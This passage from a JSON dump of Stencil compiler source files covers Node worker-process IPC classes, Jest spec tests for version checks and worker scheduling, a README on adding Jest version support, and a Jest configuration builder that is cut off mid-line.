    "content": "import { TASK_CANCELED_MSG } from '@utils';\nimport * as cp from 'child_process';\nimport { EventEmitter } from 'events';\n\nimport type * as d from '../../declarations';\n\n/**\n * A class that holds a reference to a node worker sub-process within the main\n * thread so that messages may be passed to it.\n */\nexport class NodeWorkerMain extends EventEmitter {\n  /**\n   * A handle for the OS process that is running our worker code\n   */\n  childProcess: cp.ChildProcess;\n  tasks = new Map<number, d.CompilerWorkerTask>();\n  exitCode: number = null;\n  processQueue = true;\n  sendQueue: d.MsgToWorker<any>[] = [];\n  stopped = false;\n  successfulMessage = false;\n  totalTasksAssigned = 0;\n\n  /**\n   * Create an object for holding and interacting with a reference to a worker\n   * child-process.\n   *\n   * @param id a unique ID\n   * @param forkModulePath the path to the module which should be run by the\n   * child process\n   */\n  constructor(\n    public id: number,\n    forkModulePath: string,\n  ) {\n    super();\n    this.fork(forkModulePath);\n  }\n\n  fork(forkModulePath: string) {\n    const filteredArgs = process.execArgv.filter((v) => !/^--(debug|inspect)/.test(v));\n\n    const options: cp.ForkOptions = {\n      execArgv: filteredArgs,\n      env: process.env,\n      cwd: process.cwd(),\n      silent: true,\n    };\n\n    this.childProcess = cp.fork(forkModulePath, [], options);\n\n    this.childProcess.stdout.setEncoding('utf8');\n    this.childProcess.stdout.on('data', (data) => {\n      console.log(data);\n    });\n\n    this.childProcess.stderr.setEncoding('utf8');\n    this.childProcess.stderr.on('data', (data) => {\n      console.log(data);\n    });\n\n    this.childProcess.on('message', this.receiveFromWorker.bind(this));\n\n    this.childProcess.on('error', (err) => {\n      this.emit('error', err);\n    });\n\n    this.childProcess.once('exit', (code) => {\n      this.exitCode = code;\n      this.emit('exit', code);\n    });\n  }\n\n  run(task: d.CompilerWorkerTask) {\n    this.totalTasksAssigned++;\n    this.tasks.set(task.stencilId, task);\n\n    const [method, ...args] = task.inputArgs;\n\n    this.sendToWorker({\n      stencilId: task.stencilId,\n      method,\n      args,\n    });\n  }\n\n  sendToWorker<T extends d.WorkerContextMethod>(msg: d.MsgToWorker<T>) {\n    if (!this.processQueue) {\n      this.sendQueue.push(msg);\n      return;\n    }\n\n    const success = this.childProcess.send(msg, (error) => {\n      if (error && error instanceof Error) {\n        return;\n      }\n\n      this.processQueue = true;\n\n      if (this.sendQueue.length > 0) {\n        const queueCopy = this.sendQueue.slice();\n        this.sendQueue = [];\n        queueCopy.forEach((d) => this.sendToWorker(d));\n      }\n    });\n\n    if (!success || /^win/.test(process.platform)) {\n      this.processQueue = false;\n    }\n  }\n\n  receiveFromWorker<T extends d.WorkerContextMethod>(msgFromWorker: d.MsgFromWorker<T>) {\n    this.successfulMessage = true;\n\n    if (this.stopped) {\n      return;\n    }\n\n    const task = this.tasks.get(msgFromWorker.stencilId);\n    if (!task) {\n      if (msgFromWorker.stencilRtnError != null) {\n        this.emit('error', msgFromWorker.stencilRtnError);\n      }\n      return;\n    }\n\n    if (msgFromWorker.stencilRtnError != null) {\n      task.reject(msgFromWorker.stencilRtnError);\n    } else {\n      task.resolve(msgFromWorker.stencilRtnValue);\n    }\n\n    this.tasks.delete(msgFromWorker.stencilId);\n\n    this.emit('response', msgFromWorker);\n  }\n\n  stop() {\n    this.stopped = true;\n\n    this.tasks.forEach((t) => t.reject(TASK_CANCELED_MSG));\n    this.tasks.clear();\n\n    if (this.successfulMessage) {\n      // we know we've had a successful startup\n      // so let's close it down all nice like\n      this.childProcess.send({\n        exit: true,\n      });\n\n      setTimeout(() => {\n        if (this.exitCode === null) {\n          // fallback if we weren't able to gracefully exit\n          this.childProcess.kill('SIGKILL');\n        }\n      }, 100);\n    } else {\n      // never had a successful message\n      // so something may be hosed up\n      // let's just kill it now\n      this.childProcess.kill('SIGKILL');\n    }\n  }\n}\n"
  },
  {
    "path": "src/sys/node/node-worker-thread.ts",
    "content": "import type * as d from '../../declarations';\n\n/**\n * Initialize a worker thread, setting up various machinery for managing\n * communication between the child process (worker) and the main thread.\n *\n * @param process a NodeJS process\n * @param msgHandler a worker message handler, which processes incoming\n * messages\n */\nexport const initNodeWorkerThread = (process: NodeJS.Process, msgHandler: d.WorkerMsgHandler) => {\n  const sendHandle = (err: NodeJS.ErrnoException) => {\n    if (err && err.code === 'ERR_IPC_CHANNEL_CLOSED') {\n      process.exit(0);\n    }\n  };\n\n  const errorHandler = (stencilMsgId: number, err: any) => {\n    const errMsgBackToMain: d.MsgFromWorker<any> = {\n      stencilId: stencilMsgId,\n      stencilRtnValue: null,\n      stencilRtnError: 'Error',\n    };\n    if (typeof err === 'string') {\n      errMsgBackToMain.stencilRtnError += ': ' + err;\n    } else if (err) {\n      if (err.stack) {\n        errMsgBackToMain.stencilRtnError += ': ' + err.stack;\n      } else if (err.message) {\n        errMsgBackToMain.stencilRtnError += ':' + err.message;\n      }\n    }\n    process.send(errMsgBackToMain, sendHandle);\n  };\n\n  process.on('message', async <T extends d.WorkerContextMethod>(msgToWorker: d.MsgToWorker<T>) => {\n    // message from the main thread\n    if (msgToWorker && typeof msgToWorker.stencilId === 'number') {\n      try {\n        // run the handler to get the data\n        const msgFromWorker: d.MsgFromWorker<T> = {\n          stencilId: msgToWorker.stencilId,\n          stencilRtnValue: await msgHandler(msgToWorker),\n          stencilRtnError: null,\n        };\n\n        // send response data from the worker to the main thread\n        process.send(msgFromWorker, sendHandle);\n      } catch (e) {\n        // error occurred while running the task\n        errorHandler(msgToWorker.stencilId, e);\n      }\n    }\n  });\n\n  process.on(`unhandledRejection`, (e: any) => {\n    errorHandler(-1, e);\n  });\n};\n"
  },
  {
    "path": "src/sys/node/public.ts",
    "content": "import type { CompilerSystem, Logger } from '@stencil/core/internal';\n\n/**\n * Creates a \"logger\", based off of NodeJS APIs, that will be used by the compiler and dev-server.\n * The NodeJS \"process\" object must be provided as a property in the first argument's object.\n * @returns a {@link Logger} object\n */\nexport declare function createNodeLogger(): Logger;\n\n// TODO(STENCIL-1196): Remove in Stencil v5, use `createNodeLogger` without parameters instead\n/**\n * Creates a \"logger\", based off of NodeJS APIs, that will be used by the compiler and dev-server.\n * The NodeJS \"process\" object must be provided as a property in the first argument's object.\n * @param c an object containing a `Process` for Stencil to use and a logger instanced created by {@link createNodeLogger}\n * @returns a {@link Logger} object\n * @deprecated Use {@link createNodeLogger} without parameters instead\n */\nexport declare function createNodeLogger(c: { process: any }): Logger;\n\n/**\n * Creates the \"system\", based off of NodeJS APIs, used by the compiler. This includes any and\n * all file system reads and writes using NodeJS. The compiler itself is unaware of Node's\n * `fs` module. Other system APIs include any use of `crypto` to hash content. The NodeJS\n * \"process\" object must be provided as a property in the first argument's object.\n * @param c an object containing a `Process` for Stencil to use and a logger instanced created by {@link createNodeLogger}\n * @returns a {@link CompilerSystem} object\n */\nexport declare function createNodeSys(c: { process?: any; logger?: any }): CompilerSystem;\n\n/**\n * Sets up the NodeJS process to be used by Stencil. This includes setting up the process's\n * `exit` and `uncaughtException` events to be handled by Stencil's logger.\n * @param c an object containing a `Process` for Stencil to use and a logger instanced created by {@link createNodeLogger}\n */\nexport declare function setupNodeProcess(c: { process: any; logger: Logger }): void;\n\nexport { CompilerSystem, Logger };\n"
  },
  {
    "path": "src/sys/node/test/node-lazy-require.spec.ts",
    "content": "import { buildError } from '@utils';\nimport fs from 'graceful-fs';\n\nimport { LazyDependencies, NodeLazyRequire } from '../node-lazy-require';\nimport { NodeResolveModule } from '../node-resolve-module';\n\nconst mockPackageJson = (version: string) =>\n  JSON.stringify({\n    version,\n  });\n\ndescribe('node-lazy-require', () => {\n  describe('NodeLazyRequire', () => {\n    describe('ensure', () => {\n      let readFSMock: jest.SpyInstance<ReturnType<typeof fs.readFileSync>, Parameters<typeof fs.readFileSync>>;\n\n      beforeEach(() => {\n        readFSMock = jest.spyOn(fs, 'readFileSync').mockReturnValue(mockPackageJson('10.10.10'));\n      });\n\n      afterEach(() => {\n        readFSMock.mockClear();\n      });\n\n      const jestTestRange = (maxVersion = '38.0.1'): LazyDependencies => ({\n        jest: {\n          minVersion: '2.0.7',\n          recommendedVersion: '36.0.1',\n          maxVersion,\n        },\n      });\n\n      function setup(versionRange: LazyDependencies) {\n        const resolveModule = new NodeResolveModule();\n        const nodeLazyRequire = new NodeLazyRequire(resolveModule, versionRange);\n        return nodeLazyRequire;\n      }\n\n      it.each(['2.0.7', '10.10.10', '38.0.1', '38.0.2', '38.5.17'])(\n        'should not error if installed package has a suitable major version (%p)',\n        async (testVersion) => {\n          const nodeLazyRequire = setup(jestTestRange());\n          readFSMock.mockReturnValue(mockPackageJson(testVersion));\n          const diagnostics = await nodeLazyRequire.ensure('.', ['jest']);\n          expect(diagnostics.length).toBe(0);\n        },\n      );\n\n      it.each(['2.0.7', '10.10.10', '36.0.1', '38.0.2', '38.5.17'])(\n        'should never error with versions above minVersion if there is no maxVersion supplied (%p)',\n        async (testVersion) => {\n          const nodeLazyRequire = setup(jestTestRange(undefined));\n          readFSMock.mockReturnValue(mockPackageJson(testVersion));\n          const diagnostics = await nodeLazyRequire.ensure('.', ['jest']);\n          expect(diagnostics.length).toBe(0);\n        },\n      );\n\n      it.each(['38', undefined])('should error w/ installed version too low and maxVersion=%p', async (maxVersion) => {\n        const range = jestTestRange(maxVersion);\n        const nodeLazyRequire = setup(range);\n        readFSMock.mockReturnValue(mockPackageJson('1.1.1'));\n        const [error] = await nodeLazyRequire.ensure('.', ['jest']);\n        expect(error).toEqual({\n          ...buildError([]),\n          header: 'Please install supported versions of dev dependencies with either npm or yarn.',\n          messageText: `npm install --save-dev jest@${range.jest.recommendedVersion}`,\n        });\n      });\n\n      it.each(['100.1.1', '38.0.1-alpha.0'])(\n        'should error if the installed version of a package is too high (%p)',\n        async (version) => {\n          const range = jestTestRange();\n          const nodeLazyRequire = setup(range);\n          readFSMock.mockReturnValue(mockPackageJson(version));\n          const [error] = await nodeLazyRequire.ensure('.', ['jest']);\n          expect(error).toEqual({\n            ...buildError([]),\n            header: 'Please install supported versions of dev dependencies with either npm or yarn.',\n            messageText: `npm install --save-dev jest@${range.jest.recommendedVersion}`,\n          });\n        },\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "src/sys/node/test/test-worker-main.ts",
    "content": "import { NodeWorkerMain } from '../node-worker-main';\n\nexport class TestWorkerMain extends NodeWorkerMain {\n  constructor(workerId: number) {\n    super(workerId, null);\n    this.fork();\n  }\n\n  override fork() {\n    this.childProcess = {} as any;\n  }\n}\n"
  },
  {
    "path": "src/sys/node/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/sys/node/test/worker-manager.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport { getNextWorker } from '../node-worker-controller';\nimport { TestWorkerMain } from './test-worker-main';\n\nconst incr = (function* () {\n  let i = 1;\n  while (true) {\n    yield i++;\n  }\n})();\n\ndescribe('getNextWorker', () => {\n  let workers: TestWorkerMain[];\n  const maxConcurrentWorkers = 4;\n\n  const stubCompilerWorkerTask = (): d.CompilerWorkerTask => {\n    return {\n      stencilId: incr.next().value,\n      resolve: () => {},\n      reject: () => {},\n      inputArgs: [],\n      retries: 1,\n    };\n  };\n\n  beforeEach(() => {\n    workers = [];\n    for (let i = 0; i < maxConcurrentWorkers; i++) {\n      const worker = new TestWorkerMain(i);\n      workers.push(worker);\n    }\n  });\n\n  it('get worker with fewest total tasks assigned when all the same number of tasks', () => {\n    workers[0].tasks.set(1, stubCompilerWorkerTask());\n    workers[0].tasks.set(2, stubCompilerWorkerTask());\n    workers[0].tasks.set(3, stubCompilerWorkerTask());\n    workers[0].totalTasksAssigned = 50;\n\n    workers[1].tasks.set(1, stubCompilerWorkerTask());\n    workers[1].tasks.set(2, stubCompilerWorkerTask());\n    workers[1].tasks.set(3, stubCompilerWorkerTask());\n    workers[1].totalTasksAssigned = 40;\n\n    // this one is tied for fewest active tasks (3)\n    // but has the fewest total tasks assigned (30)\n    workers[2].tasks.set(1, stubCompilerWorkerTask());\n    workers[2].tasks.set(2, stubCompilerWorkerTask());\n    workers[2].tasks.set(3, stubCompilerWorkerTask());\n    workers[2].totalTasksAssigned = 30;\n\n    workers[3].tasks.set(1, stubCompilerWorkerTask());\n    workers[3].tasks.set(2, stubCompilerWorkerTask());\n    workers[3].tasks.set(3, stubCompilerWorkerTask());\n    workers[3].tasks.set(4, stubCompilerWorkerTask());\n    workers[3].tasks.set(5, stubCompilerWorkerTask());\n    workers[3].totalTasksAssigned = 20;\n\n    const w = getNextWorker(workers);\n\n    expect(w).toBeDefined();\n    expect(w!.id).toBe(2);\n  });\n\n  it('get first worker when all the same', () => {\n    workers[0].tasks.set(1, stubCompilerWorkerTask());\n    workers[0].totalTasksAssigned = 1;\n    workers[1].tasks.set(1, stubCompilerWorkerTask());\n    workers[1].totalTasksAssigned = 1;\n    workers[2].tasks.set(1, stubCompilerWorkerTask());\n    workers[2].totalTasksAssigned = 1;\n    workers[3].tasks.set(1, stubCompilerWorkerTask());\n    workers[3].totalTasksAssigned = 1;\n\n    const w = getNextWorker(workers);\n\n    expect(w).toBeDefined();\n    expect(w!.id).toBe(0);\n  });\n\n  it('forth task', () => {\n    workers[0].tasks.set(1, stubCompilerWorkerTask());\n    workers[1].tasks.set(1, stubCompilerWorkerTask());\n    workers[2].tasks.set(1, stubCompilerWorkerTask());\n\n    const w = getNextWorker(workers);\n\n    expect(w).toBeDefined();\n    expect(w!.id).toBe(3);\n  });\n});\n"
  },
  {
    "path": "src/sys/node/worker.ts",
    "content": "import * as coreCompiler from '@stencil/core/compiler';\nimport * as nodeApi from '@sys-api-node';\n\nimport { initNodeWorkerThread } from './node-worker-thread';\n\n// this module is the entry point for the node.js workers that we create using\n// `child_process.fork`. They receive messages from the main thread and\n// communicate their responses using IPC.\n\nconst nodeSys = nodeApi.createNodeSys({ process: process });\n// create a message handler which processes the messages that this worker\n// thread will receive (via IPC) from the main thread\nconst msgHandler = coreCompiler.createWorkerMessageHandler(nodeSys);\n\ninitNodeWorkerThread(process, msgHandler);\n"
  },
  {
    "path": "src/testing/index.ts",
    "content": "export {\n  getCreateJestPuppeteerEnvironment,\n  getCreateJestTestRunner,\n  getJestPreprocessor,\n  getJestPreset,\n  getJestSetupTestFramework,\n} from './jest/jest-stencil-connector';\nexport {\n  mockFetch,\n  MockHeaders,\n  MockRequest,\n  MockRequestInfo,\n  MockRequestInit,\n  MockResponse,\n  MockResponseInit,\n} from './mock-fetch';\nexport {\n  mockBuildCtx,\n  mockCompilerCtx,\n  mockCompilerSystem,\n  mockComponentMeta,\n  mockConfig,\n  mockDocument,\n  mockLoadConfigInit,\n  mockLogger,\n  mockModule,\n  mockValidatedConfig,\n  mockWindow,\n} from './mocks';\nexport { E2EElement, E2EPage, newE2EPage } from './puppeteer';\nexport { newSpecPage } from './spec-page';\nexport { transpile } from './test-transpile';\nexport { createTesting } from './testing';\nexport { setupConsoleMocker, shuffleArray } from './testing-utils';\nexport type { EventSpy, SpecPage, Testing } from '@stencil/core/internal';\n"
  },
  {
    "path": "src/testing/jest/README.md",
    "content": "# Jest Support in Stencil\n\nThis directory contains support for the Jest testing library.\n\n## Installing Dependencies\n\nTo be able to work on the sub-projects in this directory, Jest dependencies are required to be installed explicitly.\nTo do so, one may either:\n1. (Recommended) Run `npm run install.jest` from the root of the repository to install _all_ Jest dependencies\n1. Run the `install-dependencies.sh` script found in this directory to install _all_ Jest dependencies\n1. Run `npm ci` in the Jest version-specific directory you plan on working in\n\n## Adding Support for a New Version of Jest\n\nThe steps for adding support for a new version of Jest can be found below.\nThese steps are intended to be followed in order, and be a part of a single pull request.\n**It is HIGHLY recommended that you create a commit for each step in the process.**\nThis allows for 'well known' commits that map directly back to these steps to be created, speeding up the review process.\n\n1. In this directory, there are several version-specific directories to support Jest.\n   For example, `jest-27-and-under/` is for Jest v27 and below, `jest-28/` is for Jest v28, etc.\n   To start, create a copy of the entire directory contents for **the latest version** of Jest in this directory, ensuring the version number is in the directory name.\n   \n   If we wanted to add support for Jest v29 and had the following existing directory structure:\n   ```\n   └── src/testing/jest/\n       ├── jest-27-and-under\n       └── jest-28\n   ```\n   Adding support for Jest v29 would begin with making a copy of `jest-28/` (the latest supported version) and naming it `jest-29/`.\n   The end result of this step are two identical copies of the copied directory, with one bearing the name of the new version of Jest:\n   ```\n   └── src/testing/jest/\n       ├── jest-27-and-under\n       ├── jest-28\n       └── jest-29            <- Newly copied version of jest-28, just with a different name\n   ``` \n\n1. **Commit your changes to help your reviewers out - this makes it easier to review changes that are coming down the line.**\n   Last reminder, please do this after every step.\n1. Delete the `package-lock.json` file that was copied into your new directory.\n   We'll regenerate this later after a few modifications have been made to `package.json` in the next step.\n1. Update the name and description of the package in the newly created directory's `pacakge.json` to reflect the version of Jest it supports.\n    ```diff\n    diff --git a/src/testing/jest/jest-29/package.json b/src/testing/jest/jest-29/package.json\n    index 92b5ee419..bd1614fe0 100644\n    --- a/src/testing/jest/jest-29/package.json\n    +++ b/src/testing/jest/jest-29/package.json\n    @@ -1,5 +1,5 @@\n    {\n    -  \"name\": \"@stencil/jest-28\",\n    +  \"name\": \"@stencil/jest-29\",\n       \"version\": \"1.0.0\",\n    -  \"description\": \"Internal package for supporting Jest 28 with Stencil\",\n    +  \"description\": \"Internal package for supporting Jest 29 with Stencil\",\n       \"license\": \"MIT\",\n    \n    ```\n1. Update any Jest related dependencies to use the targeted version of Jest.\n   It is up to you to determine/verify the packages needed here.\n   ```bash\n   $ cd src/testing/jest/jest-29\n   $ npm i -D jest@29 @types/jest@29\n   ```\n   Note: Running `npm install` will regenerate the `package-lock.json` file you deleted in a previous step.\n   Note: All dependencies can simply be dev-dependencies, since they're only used for type checking.\n1. Update `renovate.json` to not bump Jest beyond the version that this directory is responsible for:\n    ```diff\n    index 4861b2477..7cf75e16d 100644\n    --- a/renovate.json5\n    +++ b/renovate.json5\n    @@ -98,6 +98,11 @@\n           matchPackageNames: ['@types/jest', 'jest'],\n           allowedVersions: '<=28'\n         },\n    +    {\n    +      matchFileNames: [\"src/testing/jest/jest-29/package.json\"],\n    +      matchPackageNames: ['@types/jest', 'jest'],\n    +      allowedVersions: '<=29'\n    +    },\n         {\n    \n    ```\n   Note how:\n   - `matchFileNames` maps to the new Jest directory's `package.json`\n   - `matchPackageNames` lists the packages that were upgraded earlier\n   - `allowedVersions` allows versions less than or equal to the version we're adding support for\n1. Add the new version of Jest to the Component Starter smoke tests:\n    ```diff\n   index 16560a659..a4bee5308 100644\n    --- a/.github/workflows/test-component-starter.yml\n    +++ b/.github/workflows/test-component-starter.yml\n    @@ -16,7 +16,7 @@ jobs:\n    strategy:\n    fail-fast: false\n    matrix:\n    -        jest: ['24', '25', '26', '27', '28']\n    +        jest: ['24', '25', '26', '27', '28', '29']\n             node: ['16', '18', '20']\n             os: ['ubuntu-latest', 'windows-latest']\n      runs-on: ${{ matrix.os }}\n   ```\n1. Rename the `JestFacade` implementation in the new directory's `jest-facade.ts` file.\n   The number in the class name should match the version of Jest we're adding support for.\n   It is recommended that you use your editor's renaming/refactoring utility to do this step:\n    ```diff\n    import type * as d from '@stencil/core/internal';\n    import { isString } from '@utils';\n    \n    -import { Jest28Stencil } from './jest-facade';\n    +import { Jest29Stencil } from './jest-facade';\n    \n    /**\n    * Helper function for retrieving legacy Jest options. These options have been provided as defaults to Stencil users\n      @@ -147,7 +147,7 @@ export function buildJestConfig(config: d.ValidatedConfig): string {\n      jestConfig.verbose = stencilConfigTesting.verbose;\n      }\n    \n    -  jestConfig.testRunner = new Jest28Stencil().getDefaultJestRunner();\n    +  jestConfig.testRunner = new Jest29Stencil().getDefaultJestRunner();\n    \n       return JSON.stringify(jestConfig);\n       }\n       diff --git a/src/testing/jest/jest-29/jest-facade.ts b/src/testing/jest/jest-29/jest-facade.ts\n       index 3c7aa949c..3dea9b42b 100644\n       --- a/src/testing/jest/jest-29/jest-facade.ts\n       +++ b/src/testing/jest/jest-29/jest-facade.ts\n       @@ -10,7 +10,7 @@ import { jestSetupTestFramework } from './jest-setup-test-framework';\n       /**\n        * `JestFacade` implementation for communicating between this directory's version of Jest and Stencil\n        */\n    -  export class Jest28Stencil implements JestFacade {\n    +  export class Jest29Stencil implements JestFacade {\n        getJestCliRunner() {\n        return runJest;\n      }\n    \n    ```\n1. Update the `jest-stencil-connector.ts` to call the new `JestFacade` implementation:\n    ```diff\n    index 50372d9df..81f9e6cf9 100644\n    --- a/src/testing/jest/jest-stencil-connector.ts\n    +++ b/src/testing/jest/jest-stencil-connector.ts\n    @@ -10,6 +10,7 @@\n     import semverMajor from 'semver/functions/major';\n     \n     import { Jest28Stencil } from './jest-28/jest-facade';\n    +import { Jest29Stencil } from './jest-29/jest-facade';\n     import { getJestMajorVersion } from './jest-apis';\n     import { JestFacade } from './jest-facade';\n     \n    @@ -40,9 +41,10 @@ const getJestFacade = (): JestFacade => {\n         const version = getVersion();\n         else if (version <= 28) {\n           JEST_STENCIL_FACADE = new Jest28Stencil();\n    +    } else if (version === 29) {\n    +      JEST_STENCIL_FACADE = new Jest29Stencil();\n         } else {\n    \n    ```\n1. Set the recommended and max version to the new version of Jest:\n    ```diff\n    index c5bf2ed14..9936ce738 100644\n    --- a/src/sys/node/node-sys.ts\n    +++ b/src/sys/node/node-sys.ts\n    @@ -664,9 +664,9 @@ export function createNodeSys(c: { process?: any; logger?: Logger } = {}): Compi\n       const nodeResolve = new NodeResolveModule();\n     \n       sys.lazyRequire = new NodeLazyRequire(nodeResolve, {\n    -    '@types/jest': { minVersion: '24.9.1', recommendedVersion: '28', maxVersion: '28.0.0' },\n    -    jest: { minVersion: '24.9.0', recommendedVersion: '28', maxVersion: '28.0.0' },\n    -    'jest-cli': { minVersion: '24.9.0', recommendedVersion: '28', maxVersion: '28.0.0' },\n    +    '@types/jest': { minVersion: '24.9.1', recommendedVersion: '29', maxVersion: '29.0.0' },\n    +    jest: { minVersion: '24.9.0', recommendedVersion: '29', maxVersion: '29.0.0' },\n    +    'jest-cli': { minVersion: '24.9.0', recommendedVersion: '29', maxVersion: '29.0.0' },\n         puppeteer: { minVersion: '10.0.0', recommendedVersion: '20' },\n         'puppeteer-core': { minVersion: '10.0.0', recommendedVersion: '20' },\n         'workbox-build': { minVersion: '4.3.1', recommendedVersion: '4.3.1' },\n    ```\n1. It's time to get the project to compile.\n   Build Stencil and resolve any typing errors that have arisen from adding new versions of Jest.\n1. Once Stencil compiles, generate a version that can be installed in a Stencil component starter project (either a tarball or a dev build) and install it into the component starter.\n   Attempt to run the tests, working through any initial errors that you may run into.\n   Consider working through the Jest Breaking Changes guide for the current version that you are adding support for.\n1. Perform a final pass through the Jest Breaking Changes guide for the current version that you are adding support for.\n   Ensure any changes that ought to be made are completed.\n   Note: Just because something didn't give us a runtime error, doesn't mean it should not be changed.\n1. Attempt to use your version of Stencil in the Ionic Framework.\n   Their unit tests should continue to run and pass as a result of this effort.\n1. Once your PR is merged, please ensure that the CI gate checks are updated to enforce successful runs of the new version of Jest for the Stencil Component Starter smoke test.\n"
  },
  {
    "path": "src/testing/jest/install-dependencies.mts",
    "content": "import { exec } from 'node:child_process';\nimport fss from 'node:fs';\nimport fs from 'node:fs/promises';\nimport path from 'node:path'\nimport url from 'node:url'\n\nconst __dirname = url.fileURLToPath(new URL('.', import.meta.url));\nlet found = false;\n\nconst jestAdapters = (await fs.readdir(__dirname))\n  .filter((file) => file.startsWith('jest-'))\n  .filter((file) => fss.statSync(path.join(__dirname, file)).isDirectory());\n\n/**\n * Loop through directories start with 'jest-', e.g. `jest-27-and-under`, `jest-28`, etc.\n */\nfor (const dir of jestAdapters) {\n  found = true;\n\n  const jestDir = path.join(__dirname, dir);\n  console.log(`→ Installing dependencies in ${jestDir}...`);\n  await new Promise<void>((resolve, reject) => {\n    exec('npm ci', { cwd: jestDir }, (err) => {\n      if (err) {\n        reject(err);\n      }\n      resolve();\n    });\n  });\n  console.log('Done 🎉');\n}\n\n/**\n * If no directories were found and processed, print an error and exit\n */\nif (!found) {\n  console.error('Error: No jest directories were found');\n  process.exit(1);\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/jest-config.ts",
    "content": "import type { Config } from '@jest/types';\nimport { BOOLEAN_CLI_FLAGS } from '@stencil/core/cli';\nimport type * as d from '@stencil/core/internal';\nimport { isString } from '@utils';\n\nimport { Jest27Stencil } from './jest-facade';\n\n/**\n * Helper function for retrieving legacy Jest options. These options have been provided as defaults to Stencil users\n * by Jest + yargs for all users using Jest versions 24 through 26 (inclusively). Between Jest v26 and v27, a few\n * changes occurred:\n * 1. Jest CLI options were no longer exported, with no means of retrieving it without breaking package encapsulation\n * 2. the location of default values moved internally in Jest\n * As a result, this list could no longer be autogenerated. To ensure backwards compatibility between versions Jest 24\n * through 27 (inclusive), recreate the list manually to be used in Jest argument generation. This will be removed in a\n * future version of Stencil.\n *\n * @returns a list of Jest legacy options generated for all users of Stencil+Jest testing\n */\nfunction getLegacyJestOptions(): Record<string, boolean | number | string> {\n  return {\n    detectLeaks: false,\n    'detect-leaks': false,\n    detectOpenHandles: false,\n    'detect-open-handles': false,\n    errorOnDeprecated: false,\n    'error-on-deprecated': false,\n    listTests: false,\n    'list-tests': false,\n    maxConcurrency: 5,\n    'max-concurrency': 5,\n    notifyMode: 'failure-change',\n    'notify-mode': 'failure-change',\n    passWithNoTests: false,\n    'pass-with-no-tests': false,\n    runTestsByPath: false,\n    'run-tests-by-path': false,\n    testLocationInResults: false,\n    'test-location-in-results': false,\n  };\n}\n\n/**\n * Builds the `argv` to be used when programmatically invoking the Jest CLI\n * @param config the Stencil config to use while generating Jest CLI arguments\n * @returns the arguments to pass to the Jest CLI, wrapped in an object\n */\nexport function buildJestArgv(config: d.ValidatedConfig): Config.Argv {\n  const yargs = require('yargs');\n\n  const knownArgs = config.flags.knownArgs.slice();\n\n  if (!knownArgs.some((a) => a.startsWith('--max-workers') || a.startsWith('--maxWorkers'))) {\n    knownArgs.push(`--max-workers=${config.maxConcurrentWorkers}`);\n  }\n\n  if (config.flags.devtools) {\n    knownArgs.push('--runInBand');\n  }\n\n  // we combine the modified args and the unknown args here and declare the\n  // result read only, providing some type system-level assurance that we won't\n  // mutate it after this point.\n  //\n  // We want that assurance because Jest likes to have any filepath match\n  // patterns at the end of the args it receives. Those args are going to be\n  // found in our `unknownArgs`, so while we want to do some stuff in this\n  // function that adds to `knownArgs` we need a guarantee that all of the\n  // `unknownArgs` are _after_ all the `knownArgs` in the array we end up\n  // generating the Jest configuration from.\n  const args: ReadonlyArray<string> = [...knownArgs, ...config.flags.unknownArgs];\n\n  config.logger.info(config.logger.magenta(`jest args: ${args.join(' ')}`));\n\n  let jestArgv = yargs(args).argv as Config.Argv;\n  jestArgv = { ...getLegacyJestOptions(), ...jestArgv };\n  jestArgv.config = buildJestConfig(config);\n\n  if (typeof jestArgv.maxWorkers === 'string') {\n    try {\n      jestArgv.maxWorkers = parseInt(jestArgv.maxWorkers, 10);\n    } catch (e) {}\n  }\n\n  if (typeof jestArgv.ci === 'string') {\n    jestArgv.ci = jestArgv.ci === 'true' || jestArgv.ci === '';\n  }\n\n  for (const flag of BOOLEAN_CLI_FLAGS) {\n    if (typeof jestArgv[flag] === 'string') {\n      jestArgv[flag] = jestArgv[flag] === 'true';\n    }\n  }\n\n  return jestArgv;\n}\n\n/**\n * Generate a Jest run configuration to be used as a part of the `argv` passed to the Jest CLI when it is invoked\n * programmatically\n * @param config the Stencil config to use while generating Jest CLI arguments\n * @returns the Jest Config to attach to the `argv` argument\n */\nexport function buildJestConfig(config: d.ValidatedConfig): string {\n  const stencilConfigTesting = config.testing;\n  const jestDefaults: Config.DefaultOptions = require('jest-config').defaults;\n\n  const validJestConfigKeys = Object.keys(jestDefaults);\n\n  const jestConfig: d.JestConfig = {};\n\n  Object.keys(stencilConfigTesting).forEach((key) => {\n    if (validJestConfigKeys.includes(key)) {\n      (jestConfig as any)[key] = (stencilConfigTesting as any)[key];\n    }\n  });\n\n  jestConfig.rootDir = config.rootDir;\n\n  if (isString(stencilConfigTesting.collectCoverage)) {\n    jestConfig.collectCoverage = stencilConfigTesting.collectCoverage;\n  }\n  if (Array.isArray(stencilConfigTesting.collectCoverageFrom)) {\n    jestConfig.collectCoverageFrom = stencilConfigTesting.collectCoverageFrom;\n  }\n  if (isString(stencilConfigTesting.coverageDirectory)) {\n    jestConfig.coverageDirectory = stencilConfigTesting.coverageDirectory;\n  }\n  if (stencilConfigTesting.coverageThreshold) {\n    jestConfig.coverageThreshold = stencilConfigTesting.coverageThreshold;\n  }\n  if (isString(stencilConfigTesting.globalSetup)) {\n    jestConfig.globalSetup = stencilConfigTesting.globalSetup;\n  }\n  if (isString(stencilConfigTesting.globalTeardown)) {\n    jestConfig.globalTeardown = stencilConfigTesting.globalTeardown;\n  }\n  if (isString(stencilConfigTesting.preset)) {\n    jestConfig.preset = stencilConfigTesting.preset;\n  }\n  if (stencilConfigTesting.projects) {\n    jestConfig.projects = stencilConfigTesting.projects;\n  }\n  if (Array.isArray(stencilConfigTesting.reporters)) {\n    jestConfig.reporters = stencilConfigTesting.reporters;\n  }\n  if (isString(stencilConfigTesting.testResultsProcessor)) {\n    jestConfig.testResultsProcessor = stencilConfigTesting.testResultsProcessor;\n  }\n  if (stencilConfigTesting.transform) {\n    jestConfig.transform = stencilConfigTesting.transform;\n  }\n  if (stencilConfigTesting.verbose) {\n    jestConfig.verbose = stencilConfigTesting.verbose;\n  }\n  if (typeof stencilConfigTesting.bail !== 'undefined') {\n    jestConfig.bail =\n      typeof stencilConfigTesting.bail === 'number' ? stencilConfigTesting.bail : stencilConfigTesting.bail ? 1 : 0;\n  }\n  if (stencilConfigTesting.prettierPath) {\n    jestConfig.prettierPath = 